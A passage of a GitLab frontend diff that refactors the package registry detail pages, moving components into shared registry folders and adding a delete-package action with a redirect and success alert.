filesTableRows() {
return this.packageFiles.map(x => ({
name: x.file_name,
@@ -100,7 +99,7 @@ export default {
},
},
methods: {
- ...mapActions(['fetchPackageVersions']),
+ ...mapActions(['deletePackage', 'fetchPackageVersions']),
formatSize(size) {
return numberToHumanSize(size);
},
@@ -112,6 +111,16 @@ export default {
this.fetchPackageVersions();
}
},
+ async confirmPackageDeletion() {
+ this.track(TrackingActions.DELETE_PACKAGE);
+ await this.deletePackage();
+ const returnTo =
+ !this.groupListUrl || document.referrer.includes(this.projectName)
+ ? this.projectListUrl
+ : this.groupListUrl; // to avoid security issue url are supplied from backend
+ const modalQuery = objectToQueryString({ [SHOW_DELETE_SUCCESS_ALERT]: true });
+ window.location.replace(`${returnTo}?${modalQuery}`);
+ },
},
i18n: {
deleteModalTitle: s__(`PackageRegistry|Delete Package Version`),
@@ -147,12 +156,10 @@ export default {
/>
<div v-else class="packages-app">
- <div class="detail-page-header d-flex justify-content-between flex-column flex-sm-row">
- <package-title />
-
- <div class="mt-sm-2">
+ <package-title>
+ <template #delete-button>
<gl-button
- v-if="canDeletePackage"
+ v-if="canDelete"
v-gl-modal="'delete-modal'"
class="js-delete-button"
variant="danger"
@@ -161,8 +168,8 @@ export default {
>
{{ __('Delete') }}
</gl-button>
- </div>
- </div>
+ </template>
+ </package-title>
<gl-tabs>
<gl-tab :title="__('Detail')">
@@ -268,22 +275,22 @@ export default {
</template>
</gl-sprintf>
- <div slot="modal-footer" class="w-100">
- <div class="float-right">
- <gl-button @click="cancelDelete()">{{ __('Cancel') }}</gl-button>
- <gl-button
- ref="modal-delete-button"
- data-method="delete"
- :to="destroyPath"
- variant="danger"
- category="primary"
- data-qa-selector="delete_modal_button"
- @click="track($options.trackingActions.DELETE_PACKAGE)"
- >
- {{ __('Delete') }}
- </gl-button>
+ <template #modal-footer>
+ <div class="gl-w-full">
+ <div class="float-right">
+ <gl-button @click="cancelDelete">{{ __('Cancel') }}</gl-button>
+ <gl-button
+ ref="modal-delete-button"
+ variant="danger"
+ category="primary"
+ data-qa-selector="delete_modal_button"
+ @click="confirmPackageDeletion"
+ >
+ {{ __('Delete') }}
+ </gl-button>
+ </div>
</div>
- </div>
+ </template>
</gl-modal>
</div>
</template>
diff --git a/app/assets/javascripts/packages/details/components/code_instruction.vue b/app/assets/javascripts/packages/details/components/code_instruction.vue
deleted file mode 100644
index 0719ddfcd2b..00000000000
--- a/app/assets/javascripts/packages/details/components/code_instruction.vue
+++ /dev/null
@@ -1,63 +0,0 @@
-<script>
-import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
-import Tracking from '~/tracking';
-import { TrackingLabels } from '../constants';
-
-export default {
- name: 'CodeInstruction',
- components: {
- ClipboardButton,
- },
- mixins: [
- Tracking.mixin({
- label: TrackingLabels.CODE_INSTRUCTION,
- }),
- ],
- props: {
- instruction: {
- type: String,
- required: true,
- },
- copyText: {
- type: String,
- required: true,
- },
- multiline: {
- type: Boolean,
- required: false,
- default: false,
- },
- trackingAction: {
- type: String,
- required: false,
- default: '',
- },
- },
- methods: {
- trackCopy() {
- if (this.trackingAction) {
- this.track(this.trackingAction);
- }
- },
- },
-};
-</script>
-
-<template>
- <div v-if="!multiline" class="input-group gl-mb-3">
- <input
- :value="instruction"
- type="text"
- class="form-control monospace js-instruction-input"
- readonly
- @copy="trackCopy"
- />
- <span class="input-group-append js-instruction-button" @click="trackCopy">
- <clipboard-button :text="instruction" :title="copyText" class="input-group-text" />
- </span>
- </div>
-
- <div v-else>
- <pre class="js-instruction-pre" @copy="trackCopy">{{ instruction }}</pre>
- </div>
-</template>
diff --git a/app/assets/javascripts/packages/details/components/composer_installation.vue b/app/assets/javascripts/packages/details/components/composer_installation.vue
index 1934da149ce..60ad468c293 100644
--- a/app/assets/javascripts/packages/details/components/composer_installation.vue
+++ b/app/assets/javascripts/packages/details/components/composer_installation.vue
@@ -2,8 +2,8 @@
import { GlLink, GlSprintf } from '@gitlab/ui';
import { mapGetters, mapState } from 'vuex';
import { s__ } from '~/locale';
-import CodeInstruction from './code_instruction.vue';
-import { TrackingActions } from '../constants';
+import CodeInstruction from '~/vue_shared/components/registry/code_instruction.vue';
+import { TrackingActions, TrackingLabels } from '../constants';
export default {
name: 'ComposerInstallation',
@@ -26,28 +26,30 @@ export default {
),
},
trackingActions: { ...TrackingActions },
+ TrackingLabels,
};
</script>
<template>
<div>
<h3 class="gl-font-lg">{{ __('Installation') }}</h3>
- <h4 class="gl-font-base" data-testid="registry-include-title">
- {{ $options.i18n.registryInclude }}
- </h4>
<code-instruction
+ :label="$options.i18n.registryInclude"
:instruction="composerRegistryInclude"
:copy-text="$options.i18n.copyRegistryInclude"
:tracking-action="$options.trackingActions.COPY_COMPOSER_REGISTRY_INCLUDE_COMMAND"
+ :tracking-label="$options.TrackingLabels.CODE_INSTRUCTION"
+ data-testid="registry-include"
/>
- <h4 class="gl-font-base" data-testid="package-include-title">
- {{ $options.i18n.packageInclude }}
- </h4>
+
<code-instruction
+ :label="$options.i18n.packageInclude"
:instruction="composerPackageInclude"
:copy-text="$options.i18n.copyPackageInclude"
:tracking-action="$options.trackingActions.COPY_COMPOSER_PACKAGE_INCLUDE_COMMAND"
+ :tracking-label="$options.TrackingLabels.CODE_INSTRUCTION"
+ data-testid="package-include"
/>
<span data-testid="help-text">
<gl-sprintf :message="$options.i18n.infoLine">
diff --git a/app/assets/javascripts/packages/details/components/conan_installation.vue b/app/assets/javascripts/packages/details/components/conan_installation.vue
index cff7d73f1e8..a5df87c9c5b 100644
--- a/app/assets/javascripts/packages/details/components/conan_installation.vue
+++ b/app/assets/javascripts/packages/details/components/conan_installation.vue
@@ -2,8 +2,8 @@
import { GlLink, GlSprintf } from '@gitlab/ui';
import { mapGetters, mapState } from 'vuex';
import { s__ } from '~/locale';
-import CodeInstruction from './code_instruction.vue';
-import { TrackingActions } from '../constants';
+import CodeInstruction from '~/vue_shared/components/registry/code_instruction.vue';
+import { TrackingActions, TrackingLabels } from '../constants';
export default {
name: 'ConanInstallation',
@@ -22,30 +22,30 @@ export default {
),
},
trackingActions: { ...TrackingActions },
+ TrackingLabels,
};
</script>
<template>
<div>
<h3 class="gl-font-lg">{{ __('Installation') }}</h3>
- <h4 class="gl-font-base">
- {{ s__('PackageRegistry|Conan Command') }}
- </h4>
<code-instruction
+ :label="s__('PackageRegistry|Conan Command')"
:instruction="conanInstallationCommand"
:copy-text="s__('PackageRegistry|Copy Conan Command')"
:tracking-action="$options.trackingActions.COPY_CONAN_COMMAND"
+ :tracking-label="$options.TrackingLabels.CODE_INSTRUCTION"
/>
<h3 class="gl-font-lg">{{ __('Registry setup') }}</h3>
- <h4 class="gl-font-base">
- {{ s__('PackageRegistry|Add Conan Remote') }}
- </h4>
+
<code-instruction
+ :label="s__('PackageRegistry|Add Conan Remote')"
:instruction="conanSetupCommand"
:copy-text="s__('PackageRegistry|Copy Conan Setup Command')"
:tracking-action="$options.trackingActions.COPY_CONAN_SETUP_COMMAND"
+ :tracking-label="$options.TrackingLabels.CODE_INSTRUCTION"
/>
<gl-sprintf :message="$options.i18n.helpText">
<template #link="{ content }">
diff --git a/app/assets/javascripts/packages/details/components/dependency_row.vue b/app/assets/javascripts/packages/details/components/dependency_row.vue
index 788673d2881..1a2202b23c8 100644
--- a/app/assets/javascripts/packages/details/components/dependency_row.vue
+++ b/app/assets/javascripts/packages/details/components/dependency_row.vue
@@ -26,7 +26,7 @@ export default {
<div
v-if="showVersion"
- class="table-section section-50 gl-display-flex justify-content-md-end"
+ class="table-section section-50 gl-display-flex gl-md-justify-content-end"
data-testid="version-pattern"
>
<span class="gl-text-body">{{ dependency.version_pattern }}</span>
diff --git a/app/assets/javascripts/packages/details/components/history_element.vue b/app/assets/javascripts/packages/details/components/history_element.vue
deleted file mode 100644
index 8a51c1528cf..00000000000
--- a/app/assets/javascripts/packages/details/components/history_element.vue
+++ /dev/null
@@ -1,35 +0,0 @@
-<script>
-import { GlIcon } from '@gitlab/ui';
-import TimelineEntryItem from '~/vue_shared/components/notes/timeline_entry_item.vue';
-
-export default {
- name: 'HistoryElement',
- components: {
- GlIcon,
- TimelineEntryItem,
- },
-
- props: {
- icon: {
- type: String,
- required: true,
- },
- },
-};
-</script>
-
-<template>
- <timeline-entry-item class="system-note note-wrapper gl-mb-6!">
- <div class="timeline-icon">
- <gl-icon :name="icon" />
- </div>
- <div class="timeline-content">
- <div class="note-header">
- <span>
- <slot></slot>
- </span>
- </div>
- <div class="note-body"></div>
- </div>
- </timeline-entry-item>
-</template>
diff --git a/app/assets/javascripts/packages/details/components/maven_installation.vue b/app/assets/javascripts/packages/details/components/maven_installation.vue
index d6641c886a0..c2f6f76967b 100644
--- a/app/assets/javascripts/packages/details/components/maven_installation.vue
+++ b/app/assets/javascripts/packages/details/components/maven_installation.vue
@@ -2,8 +2,8 @@
import { GlLink, GlSprintf } from '@gitlab/ui';
import { mapGetters, mapState } from 'vuex';
import { s__ } from '~/locale';
-import CodeInstruction from './code_instruction.vue';
-import { TrackingActions } from '../constants';
+import CodeInstruction from '~/vue_shared/components/registry/code_instruction.vue';
+import { TrackingActions, TrackingLabels } from '../constants';
export default {
name: 'MavenInstallation',
@@ -28,6 +28,7 @@ export default {
),
},
trackingActions: { ...TrackingActions },
+ TrackingLabels,
};
</script>
@@ -35,9 +36,6 @@ export default {
<div>
<h3 class="gl-font-lg">{{ __('Installation') }}</h3>
- <h4 class="gl-font-base">
- {{ s__('PackageRegistry|Maven XML') }}
- </h4>
<p>
<gl-sprintf :message="$options.i18n.xmlText">
<template #code="{ content }">
@@ -45,20 +43,22 @@ export default {
</template>
</gl-sprintf>
</p>
+
<code-instruction
+ :label="s__('PackageRegistry|Maven XML')"
:instruction="mavenInstallationXml"
:copy-text="s__('PackageRegistry|Copy Maven XML')"
multiline
:tracking-action="$options.trackingActions.COPY_MAVEN_XML"
+ :tracking-label="$options.TrackingLabels.CODE_INSTRUCTION"
/>
- <h4 class="gl-font-base">
- {{ s__('PackageRegistry|Maven Command') }}
- </h4>
<code-instruction
+ :label="s__('PackageRegistry|Maven Command')"
:instruction="mavenInstallationCommand"
:copy-text="s__('PackageRegistry|Copy Maven command')"
:tracking-action="$options.trackingActions.COPY_MAVEN_COMMAND"
+ :tracking-label="$options.TrackingLabels.CODE_INSTRUCTION"
/>
<h3 class="gl-font-lg">{{ __('Registry setup') }}</h3>
@@ -74,6 +74,7 @@ export default {
:copy-text="s__('PackageRegistry|Copy Maven registry XML')"
multiline
:tracking-action="$options.trackingActions.COPY_MAVEN_SETUP"
+ :tracking-label="$options.TrackingLabels.CODE_INSTRUCTION"
/>
<gl-sprintf :message="$options.i18n.helpText">
<template #link="{ content }">
diff --git a/app/assets/javascripts/packages/details/components/npm_installation.vue b/app/assets/javascripts/packages/details/components/npm_installation.vue
index d7ff8428370..37ba279d098 100644
--- a/app/assets/javascripts/packages/details/components/npm_installation.vue
+++ b/app/assets/javascripts/packages/details/components/npm_installation.vue
@@ -2,8 +2,8 @@
import { GlLink, GlSprintf } from '@gitlab/ui';
import { mapGetters, mapState } from 'vuex';
import { s__ } from '~/locale';
-import CodeInstruction from './code_instruction.vue';
-import { NpmManager, TrackingActions } from '../constants';
+import CodeInstruction from '~/vue_shared/components/registry/code_instruction.vue';
+import { NpmManager, TrackingActions, TrackingLabels } from '../constants';
export default {
name: 'NpmInstallation',
@@ -34,41 +34,46 @@ export default {
),
},
trackingActions: { ...TrackingActions },
+ TrackingLabels,
};
</script>
<template>
<div>
<h3 class="gl-font-lg">{{ __('Installation') }}</h3>
- <h4 class="gl-font-base">{{ s__('PackageRegistry|npm command') }}</h4>
<code-instruction
+ :label="s__('PackageRegistry|npm command')"
:instruction="npmCommand"
:copy-text="s__('PackageRegistry|Copy npm command')"
:tracking-action="$options.trackingActions.COPY_NPM_INSTALL_COMMAND"
+ :tracking-label="$options.TrackingLabels.CODE_INSTRUCTION"
/>
- <h4 class="gl-font-base">{{ s__('PackageRegistry|yarn command') }}</h4>
<code-instruction
+ :label="s__('PackageRegistry|yarn command')"
:instruction="yarnCommand"
:copy-text="s__('PackageRegistry|Copy yarn command')"
:tracking-action="$options.trackingActions.COPY_YARN_INSTALL_COMMAND"
+ :tracking-label="$options.TrackingLabels.CODE_INSTRUCTION"
/>
<h3 class="gl-font-lg">{{ __('Registry setup') }}</h3>
- <h4 class="gl-font-base">{{ s__('PackageRegistry|npm command') }}</h4>
<code-instruction
+ :label="s__('PackageRegistry|npm command')"
:instruction="npmSetup"
:copy-text="s__('PackageRegistry|Copy npm setup command')"
:tracking-action="$options.trackingActions.COPY_NPM_SETUP_COMMAND"
+ :tracking-label="$options.TrackingLabels.CODE_INSTRUCTION"
/>
- <h4 class="gl-font-base">{{ s__('PackageRegistry|yarn command') }}</h4>
<code-instruction
+ :label="s__('PackageRegistry|yarn command')"
:instruction="yarnSetupCommand"
:copy-text="s__('PackageRegistry|Copy yarn setup command')"
:tracking-action="$options.trackingActions.COPY_YARN_SETUP_COMMAND"
+ :tracking-label="$options.TrackingLabels.CODE_INSTRUCTION"
/>
<gl-sprintf :message="$options.i18n.helpText">
diff --git a/app/assets/javascripts/packages/details/components/nuget_installation.vue b/app/assets/javascripts/packages/details/components/nuget_installation.vue
index 150b6e3ab0f..36887703716 100644
--- a/app/assets/javascripts/packages/details/components/nuget_installation.vue
+++ b/app/assets/javascripts/packages/details/components/nuget_installation.vue
@@ -2,8 +2,8 @@
import { GlLink, GlSprintf } from '@gitlab/ui';
import { mapGetters, mapState } from 'vuex';
import { s__ } from '~/locale';
-import CodeInstruction from './code_instruction.vue';
-import { TrackingActions } from '../constants';
+import CodeInstruction from '~/vue_shared/components/registry/code_instruction.vue';
+import { TrackingActions, TrackingLabels } from '../constants';
export default {
name: 'NugetInstallation',
@@ -22,29 +22,28 @@ export default {
),
},
trackingActions: { ...TrackingActions },
+ TrackingLabels,
};
</script>
<template>
<div>
<h3 class="gl-font-lg">{{ __('Installation') }}</h3>
- <h4 class="gl-font-base">
- {{ s__('PackageRegistry|NuGet Command') }}
- </h4>
<code-instruction
+ :label="s__('PackageRegistry|NuGet Command')"
:instruction="nugetInstallationCommand"
:copy-text="s__('PackageRegistry|Copy NuGet Command')"
:tracking-action="$options.trackingActions.COPY_NUGET_INSTALL_COMMAND"
+ :tracking-label="$options.TrackingLabels.CODE_INSTRUCTION"
/>
<h3 class="gl-font-lg">{{ __('Registry setup') }}</h3>
- <h4 class="gl-font-base">
- {{ s__('PackageRegistry|Add NuGet Source') }}
- </h4>
<code-instruction
+ :label="s__('PackageRegistry|Add NuGet Source')"
:instruction="nugetSetupCommand"
:copy-text="s__('PackageRegistry|Copy NuGet Setup Command')"
:tracking-action="$options.trackingActions.COPY_NUGET_SETUP_COMMAND"
+ :tracking-label="$options.TrackingLabels.CODE_INSTRUCTION"
/>
<gl-sprintf :message="$options.i18n.helpText">
<template #link="{ content }">
diff --git a/app/assets/javascripts/packages/details/components/package_history.vue b/app/assets/javascripts/packages/details/components/package_history.vue
index 96ce106884d..413ab1d15cb 100644
--- a/app/assets/javascripts/packages/details/components/package_history.vue
+++ b/app/assets/javascripts/packages/details/components/package_history.vue
@@ -2,7 +2,7 @@
import { GlLink, GlSprintf } from '@gitlab/ui';
import { s__ } from '~/locale';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
-import HistoryElement from './history_element.vue';
+import HistoryItem from '~/vue_shared/components/registry/history_item.vue';
export default {
name: 'PackageHistory',
@@ -16,7 +16,7 @@ export default {
components: {
GlLink,
GlSprintf,
- HistoryElement,
+ HistoryItem,
TimeAgoTooltip,
},
props: {
@@ -46,7 +46,7 @@ export default {
<div class="issuable-discussion">
<h3 class="gl-font-lg" data-testid="title">{{ __('History') }}</h3>
<ul class="timeline main-notes-list notes gl-mb-4" data-testid="timeline">
- <history-element icon="clock" data-testid="created-on">
+ <history-item icon="clock" data-testid="created-on">
<gl-sprintf :message="$options.i18n.createdOn">
<template #name>
<strong>{{ packageEntity.name }}</strong>
@@ -58,8 +58,8 @@ export default {
<time-ago-tooltip :time="packageEntity.created_at" />
</template>
</gl-sprintf>
- </history-element>
- <history-element icon="pencil" data-testid="updated-at">
+ </history-item>
+ <history-item icon="pencil" data-testid="updated-at">
<gl-sprintf :message="$options.i18n.updatedAtText">
<template #name>
<strong>{{ packageEntity.name }}</strong>
@@ -71,9 +71,9 @@ export default {
<time-ago-tooltip :time="packageEntity.updated_at" />
</template>
</gl-sprintf>
- </history-element>
+ </history-item>
<template v-if="packagePipeline">
- <history-element icon="commit" data-testid="commit">
+ <history-item icon="commit" data-testid="commit">
<gl-sprintf :message="$options.i18n.commitText">
<template #link>
<gl-link :href="packagePipeline.project.commit_url">{{
@@ -84,8 +84,8 @@ export default {
<strong>{{ packagePipeline.ref }}</strong>
</template>
</gl-sprintf>
- </history-element>
- <history-element icon="pipeline" data-testid="pipeline">
+ </history-item>
+ <history-item icon="pipeline" data-testid="pipeline">
<gl-sprintf :message="$options.i18n.pipelineText">
<template #link>
<gl-link :href="packagePipeline.project.pipeline_url"
@@ -97,9 +97,9 @@ export default {
</template>
<template #author>{{ packagePipeline.user.name }}</template>
</gl-sprintf>
- </history-element>
+ </history-item>
</template>
- <history-element icon="package" data-testid="published">
+ <history-item icon="package" data-testid="published">
<gl-sprintf :message="$options.i18n.publishText">
<template #project>
<strong>{{ projectName }}</strong>
@@ -108,7 +108,7 @@ export default {
<time-ago-tooltip :time="packageEntity.created_at" />
</template>
</gl-sprintf>
- </history-element>
+ </history-item>
</ul>
</div>
</template>
diff --git a/app/assets/javascripts/packages/details/components/package_title.vue b/app/assets/javascripts/packages/details/components/package_title.vue
index d07883e3e7a..69dd494f11a 100644
--- a/app/assets/javascripts/packages/details/components/package_title.vue
+++ b/app/assets/javascripts/packages/details/components/package_title.vue
@@ -1,19 +1,21 @@
<script>
import { mapState, mapGetters } from 'vuex';
-import { GlAvatar, GlIcon, GlLink, GlSprintf, GlTooltipDirective } from '@gitlab/ui';
+import { GlIcon, GlSprintf, GlTooltipDirective } from '@gitlab/ui';
import PackageTags from '../../shared/components/package_tags.vue';
import { numberToHumanSize } from '~/lib/utils/number_utils';
import timeagoMixin from '~/vue_shared/mixins/timeago';
+import TitleArea from '~/vue_shared/components/registry/title_area.vue';
+import MetadataItem from '~/vue_shared/components/registry/metadata_item.vue';
import { __ } from '~/locale';
export default {
name: 'PackageTitle',
components: {
- GlAvatar,
+ TitleArea,
GlIcon,
- GlLink,
GlSprintf,
PackageTags,
+ MetadataItem,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -36,77 +38,49 @@ export default {
</script>
<template>
- <div class="gl-flex-direction-column">
- <div class="gl-display-flex">
- <gl-avatar
- v-if="packageIcon"
- :src="packageIcon"
- shape="rect"
- class="gl-align-self-center gl-mr-4"
- data-testid="package-icon"
- />
-
- <div class="gl-display-flex gl-flex-direction-column">
- <h1 class="gl-font-size-h1 gl-mt-3 gl-mb-2">
- {{ packageEntity.name }}
- </h1>
+ <title-area :title="packageEntity.name" :avatar="packageIcon" data-qa-selector="package_title">
+ <template #sub-header>
+ <gl-icon name="eye" class="gl-mr-3" />
+ <gl-sprintf :message="$options.i18n.packageInfo">
+ <template #version>
+ {{ packageEntity.version }}
+ </template>
- <div class="gl-display-flex gl-align-items-center gl-text-gray-500">
- <gl-icon name="eye" class="gl-mr-3" />
- <gl-sprintf :message="$options.i18n.packageInfo">
- <template #version>
- {{ packageEntity.version }}
- </template>
+ <template #timeAgo>
+ <span v-gl-tooltip :title="tooltipTitle(packageEntity.created_at)">
+ &nbsp;{{ timeFormatted(packageEntity.created_at) }}
+ </span>
+ </template>
+ </gl-sprintf>
+ </template>
- <template #timeAgo>
- <span v-gl-tooltip :title="tooltipTitle(packageEntity.created_at)">
- &nbsp;{{ timeFormatted(packageEntity.created_at) }}
- </span>
- </template>
- </gl-sprintf>
- </div>
- </div>
- </div>
+ <template v-if="packageTypeDisplay" #metadata_type>
+ <metadata-item data-testid="package-type" icon="package" :text="packageTypeDisplay" />
+ </template>
- <div class="gl-display-flex gl-flex-wrap gl-align-items-center gl-mb-3">
- <div v-if="packageTypeDisplay" class="gl-display-flex gl-align-items-center gl-mr-5">
- <gl-icon name="package" class="gl-text-gray-500 gl-mr-3" />
- <span data-testid="package-type" class="gl-font-weight-bold">{{ packageTypeDisplay }}</span>
- </div>
+ <template #metadata_size>
+ <metadata-item data-testid="package-size" icon="disk" :text="totalSize" />
+ </template>
- <div v-if="hasTagsToDisplay" class="gl-display-flex gl-align-items-center gl-mr-5">
- <package-tags :tag-display-limit="1" :tags="packageEntity.tags" />
- </div>
+ <template v-if="packagePipeline" #metadata_pipeline>
+ <metadata-item
+ data-testid="pipeline-project"
+ icon="review-list"
+ :text="packagePipeline.project.name"
+ :link="packagePipeline.project.web_url"
+ />
+ </template>
- <div v-if="packagePipeline" class="gl-display-flex gl-align-items-center gl-mr-5">
- <gl-icon name="review-list" class="gl-text-gray-500 gl-mr-3" />
- <gl-link
- data-testid="pipeline-project"
- :href="packagePipeline.project.web_url"
- class="gl-font-weight-bold text-truncate"
- >
- {{ packagePipeline.project.name }}
- </gl-link>
- </div>
+ <template v-if="packagePipeline" #metadata_ref>
+ <metadata-item data-testid="package-ref" icon="branch" :text="packagePipeline.ref" />
+ </template>
- <div
- v-if="packagePipeline"
- data-testid="package-ref"
- class="gl-display-flex gl-align-items-center gl-mr-5"
- >
- <gl-icon name="branch" class="gl-text-gray-500 gl-mr-3" />
- <span
- v-gl-tooltip
- class="gl-font-weight-bold text-truncate mw-xs"
- :title="packagePipeline.ref"
- >{{ packagePipeline.ref }}</span
- >
- </div>
+ <template v-if="hasTagsToDisplay" #metadata_tags>
+ <package-tags :tag-display-limit="2" :tags="packageEntity.tags" hide-label />
+ </template>
- <div class="gl-display-flex gl-align-items-center gl-mr-5">
- <gl-icon name="disk" class="gl-text-gray-500 gl-mr-3" />
- <span data-testid="package-size" class="gl-font-weight-bold">{{ totalSize }}</span>
- </div>
- </div>
- </div>
+ <template #right-actions>
+ <slot name="delete-button"></slot>
+ </template>
+ </title-area>
</template>
diff --git a/app/assets/javascripts/packages/details/components/pypi_installation.vue b/app/assets/javascripts/packages/details/components/pypi_installation.vue
index f1c619fd6d3..f87be68be48 100644
--- a/app/assets/javascripts/packages/details/components/pypi_installation.vue
+++ b/app/assets/javascripts/packages/details/components/pypi_installation.vue
@@ -2,8 +2,8 @@
import { GlLink, GlSprintf } from '@gitlab/ui';
import { mapGetters, mapState } from 'vuex';
import { s__ } from '~/locale';
-import CodeInstruction from './code_instruction.vue';
-import { TrackingActions } from '../constants';
+import CodeInstruction from '~/vue_shared/components/registry/code_instruction.vue';
+import { TrackingActions, TrackingLabels } from '../constants';
export default {
name: 'PyPiInstallation',
@@ -25,6 +25,7 @@ export default {
),
},
trackingActions: { ...TrackingActions },
+ TrackingLabels,
};
</script>
@@ -32,15 +33,13 @@ export default {
<div>
<h3 class="gl-font-lg">{{ __('Installation') }}</h3>
- <h4 class="gl-font-base">
- {{ s__('PackageRegistry|Pip Command') }}
- </h4>
-
<code-instruction
+ :label="s__('PackageRegistry|Pip Command')"
:instruction="pypiPipCommand"
:copy-text="s__('PackageRegistry|Copy Pip command')"
data-testid="pip-command"
:tracking-action="$options.trackingActions.COPY_PIP_INSTALL_COMMAND"
+ :tracking-label="$options.TrackingLabels.CODE_INSTRUCTION"
/>
<h3 class="gl-font-lg">{{ __('Registry setup') }}</h3>
@@ -58,6 +57,7 @@ export default {
data-testid="pypi-setup-content"
multiline
:tracking-action="$options.trackingActions.COPY_PYPI_SETUP_COMMAND"
+ :tracking-label="$options.TrackingLabels.CODE_INSTRUCTION"
/>
<gl-sprintf :message="$options.i18n.helpText">
<template #link="{ content }">
diff --git a/app/assets/javascripts/packages/details/store/actions.js b/app/assets/javascripts/packages/details/store/actions.js
index cda80056e19..340f60258a0 100644
--- a/app/assets/javascripts/packages/details/store/actions.js
+++ b/app/assets/javascripts/packages/details/store/actions.js
@@ -1,9 +1,10 @@
import Api from '~/api';
import { deprecatedCreateFlash as createFlash } from '~/flash';
import { FETCH_PACKAGE_VERSIONS_ERROR } from '../constants';
+import { DELETE_PACKAGE_ERROR_MESSAGE } from '~/packages/shared/constants';
import * as types from './mutation_types';
-export default ({ commit, state }) => {
+export const fetchPackageVersions = ({ commit, state }) => {
commit(types.SET_LOADING, true);
const { project_id, id } = state.packageEntity;
@@ -21,3 +22,13 @@ export default ({ commit, state }) => {
commit(types.SET_LOADING, false);
});
};
+
+export const deletePackage = ({
+ state: {
+ packageEntity: { project_id, id },
+ },
+}) => {
+ return Api.deleteProjectPackage(project_id, id).catch(() => {
+ createFlash(DELETE_PACKAGE_ERROR_MESSAGE);
+ });
+};
diff --git a/app/assets/javascripts/packages/details/store/getters.js b/app/assets/javascripts/packages/details/store/getters.js
index d1814d506ad..ede6d39bde7 100644
--- a/app/assets/javascripts/packages/details/store/getters.js
+++ b/app/assets/javascripts/packages/details/store/getters.js
@@ -84,10 +84,10 @@ export const npmSetupCommand = ({ packageEntity, npmPath }) => (type = NpmManage
const scope = packageEntity.name.substring(0, packageEntity.name.indexOf('/'));
if (type === NpmManager.NPM) {
- return `echo ${scope}:registry=${npmPath} >> .npmrc`;
+ return `echo ${scope}:registry=${npmPath}/ >> .npmrc`;
}
- return `echo \\"${scope}:registry\\" \\"${npmPath}\\" >> .yarnrc`;
+ return `echo \\"${scope}:registry\\" \\"${npmPath}/\\" >> .yarnrc`;
};
export const nugetInstallationCommand = ({ packageEntity }) =>
diff --git a/app/assets/javascripts/packages/details/store/index.js b/app/assets/javascripts/packages/details/store/index.js
index 9687eb98544..15e17bcfaac 100644
--- a/app/assets/javascripts/packages/details/store/index.js
+++ b/app/assets/javascripts/packages/details/store/index.js
@@ -1,6 +1,6 @@
import Vue from 'vue';
import Vuex from 'vuex';
-import fetchPackageVersions from './actions';
+import * as actions from './actions';
import * as getters from './getters';
import mutations from './mutations';
@@ -8,9 +8,7 @@ Vue.use(Vuex);
export default (initialState = {}) =>
new Vuex.Store({
- actions: {
- fetchPackageVersions,
- },
+ actions,
getters,
mutations,
state: {
diff --git a/app/assets/javascripts/packages/list/components/packages_list.vue b/app/assets/javascripts/packages/list/components/packages_list.vue
index b26c6087e14..7067f70a923 100644
--- a/app/assets/javascripts/packages/list/components/packages_list.vue
+++ b/app/assets/javascripts/packages/list/components/packages_list.vue
@@ -82,11 +82,11 @@ export default {
</script>
<template>
- <div class="d-flex flex-column">
+ <div class="gl-display-flex gl-flex-direction-column">
<slot v-if="isListEmpty && !isLoading" name="empty-state"></slot>
<div v-else-if="isLoading">
- <packages-list-loader :is-group="isGroupPage" />
+ <packages-list-loader />
</div>
<template v-else>
@@ -106,7 +106,7 @@ export default {
:per-page="perPage"
:total-items="totalItems"
align="center"
- class="w-100 mt-2"
+ class="gl-w-full gl-mt-3"
/>
<gl-modal
diff --git a/app/assets/javascripts/packages/list/components/packages_list_app.vue b/app/assets/javascripts/packages/list/components/packages_list_app.vue
index ef242ea5f75..6304f723f6a 100644
--- a/app/assets/javascripts/packages/list/components/packages_list_app.vue
+++ b/app/assets/javascripts/packages/list/components/packages_list_app.vue
@@ -2,11 +2,14 @@
import { mapActions, mapState } from 'vuex';
import { GlEmptyState, GlTab, GlTabs, GlLink, GlSprintf } from '@gitlab/ui';
import { s__, sprintf } from '~/locale';
+import createFlash from '~/flash';
import PackageFilter from './packages_filter.vue';
import PackageList from './packages_list.vue';
import PackageSort from './packages_sort.vue';
-import { PACKAGE_REGISTRY_TABS } from '../constants';
+import { PACKAGE_REGISTRY_TABS, DELETE_PACKAGE_SUCCESS_MESSAGE } from '../constants';
import PackagesComingSoon from '../coming_soon/packages_coming_soon.vue';
+import { SHOW_DELETE_SUCCESS_ALERT } from '~/packages/shared/constants';
+import { historyReplaceState } from '~/lib/utils/common_utils';
export default {
components: {
@@ -34,6 +37,7 @@ export default {
},
mounted() {
this.requestPackagesList();
+ this.checkDeleteAlert();
},
methods: {
...mapActions(['requestPackagesList', 'requestDeletePackage', 'setSelectedType']),
@@ -64,6 +68,16 @@ export default {
return s__('PackageRegistry|There are no packages yet');
},
+ checkDeleteAlert() {
+ const urlParams = new URLSearchParams(window.location.search);
+ const showAlert = urlParams.get(SHOW_DELETE_SUCCESS_ALERT);
+ if (showAlert) {
+ // to be refactored to use gl-alert
+ createFlash({ message: DELETE_PACKAGE_SUCCESS_MESSAGE, type: 'notice' });
+ const cleanUrl = window.location.href.split('?')[0];
+ historyReplaceState(cleanUrl);
+ }
+ },
},
i18n: {
widenFilters: s__('PackageRegistry|To widen your search, change or remove the filters above.'),
@@ -77,7 +91,9 @@ export default {
<template>
<gl-tabs @input="tabChanged">
<template #tabs-end>
- <div class="d-flex align-self-center ml-md-auto py-1 py-md-0">
+ <div
+ class="gl-display-flex gl-align-self-center gl-py-2 gl-flex-grow-1 gl-justify-content-end"
+ >
<package-filter class="mr-1" @filter="requestPackagesList" />
<package-sort @sort:changed="requestPackagesList" />
</div>
diff --git a/app/assets/javascripts/packages/list/constants.js b/app/assets/javascripts/packages/list/constants.js
index 510d04965cb..0ff8c86362d 100644
--- a/app/assets/javascripts/packages/list/constants.js
+++ b/app/assets/javascripts/packages/list/constants.js
@@ -5,7 +5,6 @@ export const FETCH_PACKAGES_LIST_ERROR_MESSAGE = __(
'Something went wrong while fetching the packages list.',
);
export const FETCH_PACKAGE_ERROR_MESSAGE = __('Something went wrong while fetching the package.');
-export const DELETE_PACKAGE_ERROR_MESSAGE = __('Something went wrong while deleting the package.');
export const DELETE_PACKAGE_SUCCESS_MESSAGE = __('Package deleted successfully');
